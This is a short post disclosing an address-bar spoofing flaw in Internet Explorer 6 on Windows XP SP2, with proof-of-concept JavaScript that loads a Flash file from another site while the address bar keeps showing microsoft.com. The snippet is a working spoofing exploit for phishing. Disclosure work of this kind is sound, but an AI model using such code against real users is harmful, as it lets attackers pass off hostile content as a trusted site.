IE Address Bar Spoofing

I recently found on securityfocus mailinglist a bug in IE which can be exploited with a simple javascript code to spoof the address bar location…

This allow attacker inject a malicious shockwave-flash application into Internet Explorer while it is display another URL (even trusted sites).

The vulnerability has been confirmed on a fully patched system with Internet Explorer 6.0 + Microsoft Windows XP SP2 and previous versions.
Sample code:

<script language=”javascript”>
function pause(ms)
{
date = new Date();
var curDate = null;

do { var curDate = new Date(); }
while(curDate-date < ms);
}

function spoof () {
win = window.open(‘http://www.microsoft.com/’,’new’)
pause (2000)
win = window.open(‘http://www.buctuong.com/swfs/index.swf’,’new’)
pause (2000)
win = window.open(‘http://www.microsoft.com/’,’new’)

}
</script>
<a href=”javascript: spoof()”>Perform the test</a>

If you are vulnerable you will see the flash intro of buctuong.com while the address bar is http://www.microsoft.com/ If you have a very fast connection you may change my flash application to a larger one to make loading time take longer.

This spoofing technique discovered and proved by

Hai Nam Luke
K46A – NEU, Hanoi